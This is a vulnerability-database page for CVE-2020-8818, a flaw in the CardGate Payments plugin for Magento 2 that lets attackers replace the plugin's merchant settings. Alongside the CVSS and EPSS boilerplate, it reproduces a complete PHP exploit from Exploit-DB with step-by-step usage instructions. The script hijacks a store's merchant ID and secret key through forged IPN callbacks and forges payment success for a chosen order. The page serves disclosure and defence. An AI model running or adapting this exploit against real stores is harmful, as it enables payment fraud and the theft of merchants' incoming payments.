CVE-2020-8818 : Detail

CVE-2020-8818

8.1
/
High
A07-Identif. and Authent. Fail
0.18%V4
Network
2020-02-25
00h20 +00:00
2020-02-25
15h45 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

An issue was discovered in the CardGate Payments plugin through 2.0.30 for Magento 2. Lack of origin authentication in the IPN callback processing function in Controller/Payment/Callback.php allows an attacker to remotely replace critical plugin settings (merchant ID, secret key, etc.) and therefore bypass the payment process (e.g., spoof an order status by manually sending an IPN callback request with a valid signature but without real payment) and/or receive all of the subsequent payments.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-346 Origin Validation Error
The product does not properly verify that the source of data or communication is valid.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 5.5 AV:N/AC:L/Au:S/C:P/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 48135

Publication date : 2020-02-24 23h00 +00:00
Author : GeekHack
EDB Verified : No

# Exploit Title: Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass # Discovery Date: 2020-02-02 # Public Disclosure Date: 2020-02-22 # Exploit Author: GeekHack # Vendor Homepage: https://www.cardgate.com (www.curopayments.com) # Software Link: https://github.com/cardgate/magento2/releases/tag/v2.0.30 # Version: <= 2.0.30 # Tested on: Magento 2.3.4 + CardGate Payment Gateway Module 2.0.30 # CVE: CVE-2020-8818 <?php /* Description: Lack of origin authentication (CWE-346) at IPN callback processing function allow (even unauthorized) attacker to remotely replace critical plugin settings (merchant id, secret key etc) with known to him and therefore bypass payment process (eg. spoof order status by manually sending IPN callback request with a valid signature but without real payment) and/or receive all subsequent payments (on behalf of the store). [code ref: https://github.com/cardgate/magento2/blob/715979e54e1a335d78a8c5586f9e9987c3bf94fd/Controller/Payment/Callback.php#L88-L107] */ /* Usage: 1. Change values of the constants (see below for TARGET & ORDER*) 2. Host this script somewhere (must be public accessible) 3. Register a merchant at https://cardgate.com 4. Sign into "My CardGate" dashboard 5. Add fake site or choose existing one 6. Click "Setup your Webshop" button in site preferences 7. Paste the URL of this script into the pop-up window and click "Save" 8. The target store now uses the settings of your site, enjoy :] P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop. */ // -------- Options (start) -------- define('TARGET', 'http://domain.tld'); // without trailing slash, pls define('ORDER', '000000001'); // provide non-zero value to automagically spoof order status define('ORDER_AMOUNT', 1.00); // provide a valid total (to bypass built-in fraud protection) define('ORDER_CURRENCY', 'USD'); // provide a valid currency (same goal as above) define('ORDER_PAYMENT_TYPE', 'sofortbanking'); // provide a valid payment type slug (optional) // --------- Options (end) --------- define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/'); define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/'); /** * Original function from CardGate API client library (SDK) with minor changes * @param string $sToken_ * @param bool $bTestmode_ * @return string */ function pullConfig($sToken_, $bTestmode_ = FALSE) { if (!is_string($sToken_)) { throw new Exception('invalid token for settings pull: ' . $sToken_); } $sResource = "pullconfig/{$sToken_}/"; $sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource; $rCh = curl_init(); curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Accept: application/json' ]); if ($bTestmode_) { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); } else { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2); } if (FALSE == ($sResults = curl_exec($rCh))) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } if (NULL === ($aResults = json_decode($sResults, TRUE))) { throw new Exception('remote gave invalid JSON: ' . $sResults); } if (isset($aResults['error'])) { throw new Exception($aResults['error']['message']); } return $aResults; } /** * Original function from CardGate API client library (SDK) with minor changes * @param string $sUrl * @param array $aData_ * @param string $sHttpMethod_ * @return string */ function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') { if (!in_array($sHttpMethod_, ['GET', 'POST'])) { throw new Exception('invalid http method: ' . $sHttpMethod_); } $rCh = curl_init(); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); if ('POST' == $sHttpMethod_) { curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_POST, TRUE); curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_)); } else { $sUrl = $sUrl . (FALSE === strchr($sUrl, '?') ? '?' : '&') . http_build_query($aData_) ; curl_setopt($rCh, CURLOPT_URL, $sUrl); } $response = curl_exec($rCh); if (FALSE == $response) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } return $response; } if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) { try { $aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']); $aConfigData = $aResult['pullconfig']['content']; $response = doRequest(TARGET . '/cardgate/payment/callback', $_REQUEST, 'GET'); if ($response == $aConfigData['merchant_id'] . '.' . $aConfigData['site_id'] . '.200') { if (ORDER) { $payload = [ 'testmode' => $_REQUEST['testmode'], 'reference' => ORDER, 'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)), 'currency' => ORDER_CURRENCY, 'amount' => ORDER_AMOUNT * 100, 'status' => 'success', 'code' => 200, 'pt' => ORDER_PAYMENT_TYPE ]; $payload['hash'] = md5( (!empty($payload['testmode']) ? 'TEST' : '') . $payload['transaction'] . $payload['currency'] . $payload['amount'] . $payload['reference'] . $payload['code'] . $aConfigData['site_key'] ); $response = doRequest(TARGET . '/cardgate/payment/callback', $payload, 'GET'); if ($response == $payload['transaction'] . '.' . $payload['code']) { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } else { throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)"); } } else { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } } else { throw new Exception("It seems target is not vulnerable ($response)"); } } catch (\Exception $oException_) { die(htmlspecialchars($oException_->getMessage())); } }

Products Mentioned

Configuraton 0

Cardgate>>Cardgate_payments >> Version To (including) 2.0.30

Configuraton 0

Adobe>>Magento >> Version 2.3.4

References